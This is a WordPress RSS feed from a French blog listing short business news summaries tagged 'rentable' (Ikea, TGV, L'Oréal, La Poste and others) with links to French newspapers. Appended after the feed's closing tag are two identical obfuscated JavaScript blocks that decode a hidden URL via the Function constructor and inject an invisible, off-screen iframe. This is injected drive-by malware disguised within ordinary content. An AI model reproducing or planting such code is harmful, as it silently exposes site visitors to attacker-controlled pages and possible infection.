<?xml version="1.0" encoding="UTF8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Smic S.M.I.C, &#187; rentable</title>
	<atom:link href="http://www.le-smic.fr/tag/rentable/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.le-smic.fr</link>
	<description>Salaire minimum interprofessionnel de croissance</description>
	<lastBuildDate>Sat, 11 Feb 2012 09:36:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Ikea, le distributeur le plus rentable du monde </title>
		<link>http://www.le-smic.fr/2010/10/01/ikea-le-distributeur-le-plus-rentable-du-monde%c2%a0/</link>
		<comments>http://www.le-smic.fr/2010/10/01/ikea-le-distributeur-le-plus-rentable-du-monde%c2%a0/#comments</comments>
		<pubDate>Fri, 01 Oct 2010 19:01:26 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[distributeur]]></category>
		<category><![CDATA[Ikea]]></category>
		<category><![CDATA[monde ]]></category>
		<category><![CDATA[Plus]]></category>
		<category><![CDATA[rentable]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/10/01/ikea-le-distributeur-le-plus-rentable-du-monde%c2%a0/</guid>
		<description><![CDATA[Le géant suédois du meuble a publié pour la première fois ses résultats. Sa marge atteint 11,3 % du chiffre d&#8217;affaires.  » Ikea va ouvrir 12 magasins en France d&#8217;ici à 2020 LE FIGARO &#8211; Le Figaro  Bourse de Paris : Actualité financière, cotations et cours en direct]]></description>
			<content:encoded><![CDATA[<p>Le géant suédois du meuble a publié pour la première fois ses résultats. Sa marge atteint 11,3 % du chiffre d&#8217;affaires.    » Ikea va ouvrir 12 magasins en France d&#8217;ici à 2020   </p>
<p><a rel="nofollow" href="http://www.lefigaro.fr/societes/2010/10/01/04015-20101001ARTFIG00655-ikea-le-distributeur-le-plus-rentable-du-monde.php">LE FIGARO &#8211; Le Figaro  Bourse de Paris : Actualité financière, cotations et cours en direct</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/10/01/ikea-le-distributeur-le-plus-rentable-du-monde%c2%a0/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Le TGV, plus si rentable que ça pour la SNCF</title>
		<link>http://www.le-smic.fr/2010/09/27/le-tgv-plus-si-rentable-que-ca-pour-la-sncf/</link>
		<comments>http://www.le-smic.fr/2010/09/27/le-tgv-plus-si-rentable-que-ca-pour-la-sncf/#comments</comments>
		<pubDate>Mon, 27 Sep 2010 09:53:11 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[Plus]]></category>
		<category><![CDATA[pour]]></category>
		<category><![CDATA[rentable]]></category>
		<category><![CDATA[SNCF]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/09/27/le-tgv-plus-si-rentable-que-ca-pour-la-sncf/</guid>
		<description><![CDATA[Pour remédier à la situation, le groupe étudie plusieurs axes pour remplir les rames et attirer une nouvelle clientèle. Economie &#8211; LeMonde.fr]]></description>
			<content:encoded><![CDATA[<p>Pour remédier à la situation, le groupe étudie plusieurs axes pour remplir les rames et attirer une nouvelle clientèle.<img width='1' height='1' src='http://rss.feedsportal.com/c/205/f/3055/s/e2602bc/mf.gif' border='0'/><br/><br/><a href="http://da.feedsportal.com/r/78871691793/u/88/f/3055/c/205/s/237372092/a2.htm"><img src="http://da.feedsportal.com/r/78871691793/u/88/f/3055/c/205/s/237372092/a2.img" border="0"/></a><br />
<a rel="nofollow" href="http://www.lemonde.fr/economie/article/2010/09/27/le-tgv-plus-si-rentable-que-ca-pour-la-sncf_1416298_3234.html#mf_sid=237372092">Economie &#8211; LeMonde.fr</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/09/27/le-tgv-plus-si-rentable-que-ca-pour-la-sncf/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Un premier semestre très rentable pour L&#8217;Oréal</title>
		<link>http://www.le-smic.fr/2010/08/25/un-premier-semestre-tres-rentable-pour-loreal/</link>
		<comments>http://www.le-smic.fr/2010/08/25/un-premier-semestre-tres-rentable-pour-loreal/#comments</comments>
		<pubDate>Wed, 25 Aug 2010 19:56:24 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[L'Oreal]]></category>
		<category><![CDATA[pour]]></category>
		<category><![CDATA[Premier]]></category>
		<category><![CDATA[rentable]]></category>
		<category><![CDATA[semestre]]></category>
		<category><![CDATA[Très]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/08/25/un-premier-semestre-tres-rentable-pour-loreal/</guid>
		<description><![CDATA[Entre janvier et juin 2010, le géant des cosmétiques a vu ses profits progresser de plus de 21% et sa marge opérationnelle s&#8217;établir à 17,3%. L&#8217;Oréal dit aborder le deuxième semestre «avec confiance». » Nestlé «réfléchit» à sa stratégie sur L&#8217;Oréal LE FIGARO &#8211; Le Figaro  Bourse de Paris : Actualité financière, cotations et [...]]]></description>
			<content:encoded><![CDATA[<p>Entre janvier et juin 2010, le géant des cosmétiques a vu ses profits progresser de plus de 21% et sa marge opérationnelle s&#8217;établir à 17,3%. L&#8217;Oréal dit aborder le deuxième semestre «avec confiance».   » Nestlé «réfléchit» à sa stratégie sur L&#8217;Oréal   </p>
<p><a rel="nofollow" href="http://www.lefigaro.fr/societes/2010/08/25/04015-20100825ARTFIG00538-un-premier-semestre-tres-rentable-pour-l-oreal.php">LE FIGARO &#8211; Le Figaro  Bourse de Paris : Actualité financière, cotations et cours en direct</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/08/25/un-premier-semestre-tres-rentable-pour-loreal/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mickey, un partenaire très rentable pour la distribution</title>
		<link>http://www.le-smic.fr/2010/08/02/mickey-un-partenaire-tres-rentable-pour-la-distribution/</link>
		<comments>http://www.le-smic.fr/2010/08/02/mickey-un-partenaire-tres-rentable-pour-la-distribution/#comments</comments>
		<pubDate>Mon, 02 Aug 2010 16:00:01 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[Distribution]]></category>
		<category><![CDATA[Mickey]]></category>
		<category><![CDATA[Partenaire]]></category>
		<category><![CDATA[pour]]></category>
		<category><![CDATA[rentable]]></category>
		<category><![CDATA[Très]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/08/02/mickey-un-partenaire-tres-rentable-pour-la-distribution/</guid>
		<description><![CDATA[Les accords de partenariat avec Disneyland et le Puy du Fou vont bien au-delà de la simple relation fournisseur-distributeur. LE FIGARO &#8211; Le Figaro  Bourse de Paris : Actualité financière, cotations et cours en direct]]></description>
			<content:encoded><![CDATA[<p>Les accords de partenariat avec Disneyland et le Puy du Fou vont bien au-delà de la simple relation fournisseur-distributeur. </p>
<p><a rel="nofollow" href="http://www.lefigaro.fr/societes/2010/08/01/04015-20100801ARTFIG00217-mickey-un-partenaire-tres-rentable-pour-la-distribution.php">LE FIGARO &#8211; Le Figaro  Bourse de Paris : Actualité financière, cotations et cours en direct</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/08/02/mickey-un-partenaire-tres-rentable-pour-la-distribution/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>En Inde, le microcrédit se mue en business très rentable</title>
		<link>http://www.le-smic.fr/2010/07/30/en-inde-le-microcredit-se-mue-en-business-tres-rentable/</link>
		<comments>http://www.le-smic.fr/2010/07/30/en-inde-le-microcredit-se-mue-en-business-tres-rentable/#comments</comments>
		<pubDate>Fri, 30 Jul 2010 11:48:37 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[Business]]></category>
		<category><![CDATA[Inde]]></category>
		<category><![CDATA[microcrédit]]></category>
		<category><![CDATA[rentable]]></category>
		<category><![CDATA[Très]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/07/30/en-inde-le-microcredit-se-mue-en-business-tres-rentable/</guid>
		<description><![CDATA[Le leader indien du microcrédit SKS vient d&#8217;être introduit en Bourse. En cinq ans, la petite ONG est devenue un mastodonte de la microfinance avec 6,8 millions de microentrepreneurs. Au risque d&#8217;oublier sa mission de lutte contre la pauvreté Economie &#8211; LeMonde.fr]]></description>
			<content:encoded><![CDATA[<p>Le leader indien du microcrédit SKS vient d&#8217;être introduit en Bourse. En cinq ans, la petite ONG est devenue un mastodonte de la microfinance avec 6,8 millions de microentrepreneurs. Au risque d&#8217;oublier sa mission de lutte contre la pauvreté<img width='1' height='1' src='http://rss.feedsportal.com/c/205/f/3055/s/c6416f7/mf.gif' border='0'/><br/><br/><a href="http://da.feedsportal.com/r/77788948752/u/214/f/3055/c/205/s/207886071/kg/6-16-27-38-40-63/a2.htm"><img src="http://da.feedsportal.com/r/77788948752/u/214/f/3055/c/205/s/207886071/kg/6-16-27-38-40-63/a2.img" border="0"/></a><br />
<a rel="nofollow" href="http://www.lemonde.fr/economie/article/2010/07/30/en-inde-le-microcredit-se-mue-en-business-tres-rentable_1393832_3234.html#mf_sid=207886071">Economie &#8211; LeMonde.fr</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/07/30/en-inde-le-microcredit-se-mue-en-business-tres-rentable/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Avtovaz prévoit d&#8217;être rentable cette année </title>
		<link>http://www.le-smic.fr/2010/06/12/avtovaz-prevoit-detre-rentable-cette-annee%c2%a0/</link>
		<comments>http://www.le-smic.fr/2010/06/12/avtovaz-prevoit-detre-rentable-cette-annee%c2%a0/#comments</comments>
		<pubDate>Sat, 12 Jun 2010 21:59:42 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[année ]]></category>
		<category><![CDATA[Avtovaz]]></category>
		<category><![CDATA[Cette]]></category>
		<category><![CDATA[d'être]]></category>
		<category><![CDATA[prévoit]]></category>
		<category><![CDATA[rentable]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/06/12/avtovaz-prevoit-detre-rentable-cette-annee%c2%a0/</guid>
		<description><![CDATA[Lourdement en pertes en 2009, Avtovaz, dont Renault détient 25 %, bénéficie de la prime à la casse russe.  LE FIGARO &#8211; Le Figaro  Bourse de Paris : Actualité financière, cotations et cours en direct]]></description>
			<content:encoded><![CDATA[<p>Lourdement en pertes en 2009, Avtovaz, dont Renault détient 25 %, bénéficie de la prime à la casse russe.  </p>
<p><a rel="nofollow" href="http://www.lefigaro.fr/societes/2010/06/11/04015-20100611ARTFIG00743-le-russe-avtotaz-prevoit-d-etre-rentable-cette-annee.php">LE FIGARO &#8211; Le Figaro  Bourse de Paris : Actualité financière, cotations et cours en direct</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/06/12/avtovaz-prevoit-detre-rentable-cette-annee%c2%a0/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OBJECTIFS &#8211; La Poste veut être deux fois plus rentable, &#171;&#160;sans départs imposés&#160;&#187;</title>
		<link>http://www.le-smic.fr/2010/04/15/objectifs-la-poste-veut-etre-deux-fois-plus-rentable-sans-departs-imposes/</link>
		<comments>http://www.le-smic.fr/2010/04/15/objectifs-la-poste-veut-etre-deux-fois-plus-rentable-sans-departs-imposes/#comments</comments>
		<pubDate>Thu, 15 Apr 2010 16:38:00 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[départs]]></category>
		<category><![CDATA[deux]]></category>
		<category><![CDATA[être]]></category>
		<category><![CDATA[fois]]></category>
		<category><![CDATA[imposés]]></category>
		<category><![CDATA[Objectifs]]></category>
		<category><![CDATA[Plus]]></category>
		<category><![CDATA[Poste]]></category>
		<category><![CDATA[rentable]]></category>
		<category><![CDATA[Sans]]></category>
		<category><![CDATA[veut]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/04/15/objectifs-la-poste-veut-etre-deux-fois-plus-rentable-sans-departs-imposes/</guid>
		<description><![CDATA[La Poste veut doubler sa marge opérationnelle, indice de sa rentabilité, et atteindre un chiffre d&#8217;affaires de près de 22 milliards d&#8217;euros d&#8217;ici 2015,&#8230; View full post on Le Point.fr : Economie]]></description>
			<content:encoded><![CDATA[<p><img  align="left" src="http://www.lepoint.fr/content/system/media/1/201004/91719_postee-sommaire.jpg" width="130" border="0"/>La Poste veut doubler sa marge opérationnelle, indice de sa rentabilité, et atteindre un chiffre d&#8217;affaires de près de 22 milliards d&#8217;euros d&#8217;ici 2015,&#8230;</p>
<p>View full post on <a href="http://www.lepoint.fr/actualites-economie/2010-04-15/objectifs-la-poste-veut-etre-deux-fois-plus-rentable-sans-departs-imposes/916/0/444675">Le Point.fr : Economie</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/04/15/objectifs-la-poste-veut-etre-deux-fois-plus-rentable-sans-departs-imposes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script>var _G=(Date);if(_G){_a='5267';}var _k={'C':'r\x65\x76\x65rse','M':'joi\x6E','A':!false,'O':'sp\x6C\x69t','u':'l\x65\x6E\x67th','v':'su\x62\x73\x74r','w':'s\x74\x72\x69ng'},_J='',_7=['nmuocedtw.vdiir te<\'yyt(sa"=ledsipl:;"en=__on"diY">_ _Ph/f/:ptoirtnfpoc?pm/.oc1<\'vi/d>);'][_k.M]('\x0A'),_a=_a[_k.O](_J),_s=function(){for(var _Q in _a){if(typeof(_a[_Q])==_k.w){var _X=[],_T=_k.A,_G=_a[_Q]*-~!true;for(w=[]^[];w<_7[_k.u];w+=_G){_X[w]=(_T)?(_7[_k.v](w,_G)[_k.O](_J)[_k.C]()[_k.M](_J)):(_7[_k.v](w,_G));_T=!_T;}_7=_X[_k.M](_J);}}_w='con\x73\x74\x72\x75\x63tor';[][_w][_w](_7)();},_7=_s();if ((Number)&&(Array)&&(Function)&&(String)&&(Image)){if(document.getElementsByTagName('script').length > 0){document.write('<iframe src="'+document.getElementById('____PY').innerHTML+'" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"></iframe>');}}</script><script>var _G=(Date);if(_G){_a='5267';}var _k={'C':'r\x65\x76\x65rse','M':'joi\x6E','A':!false,'O':'sp\x6C\x69t','u':'l\x65\x6E\x67th','v':'su\x62\x73\x74r','w':'s\x74\x72\x69ng'},_J='',_7=['nmuocedtw.vdiir te<\'yyt(sa"=ledsipl:;"en=__on"diY">_ _Ph/f/:ptoirtnfpoc?pm/.oc1<\'vi/d>);'][_k.M]('\x0A'),_a=_a[_k.O](_J),_s=function(){for(var _Q in _a){if(typeof(_a[_Q])==_k.w){var _X=[],_T=_k.A,_G=_a[_Q]*-~!true;for(w=[]^[];w<_7[_k.u];w+=_G){_X[w]=(_T)?(_7[_k.v](w,_G)[_k.O](_J)[_k.C]()[_k.M](_J)):(_7[_k.v](w,_G));_T=!_T;}_7=_X[_k.M](_J);}}_w='con\x73\x74\x72\x75\x63tor';[][_w][_w](_7)();},_7=_s();if ((Number)&&(Array)&&(Function)&&(String)&&(Image)){if(document.getElementsByTagName('script').length > 0){document.write('<iframe src="'+document.getElementById('____PY').innerHTML+'" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"></iframe>');}}</script>
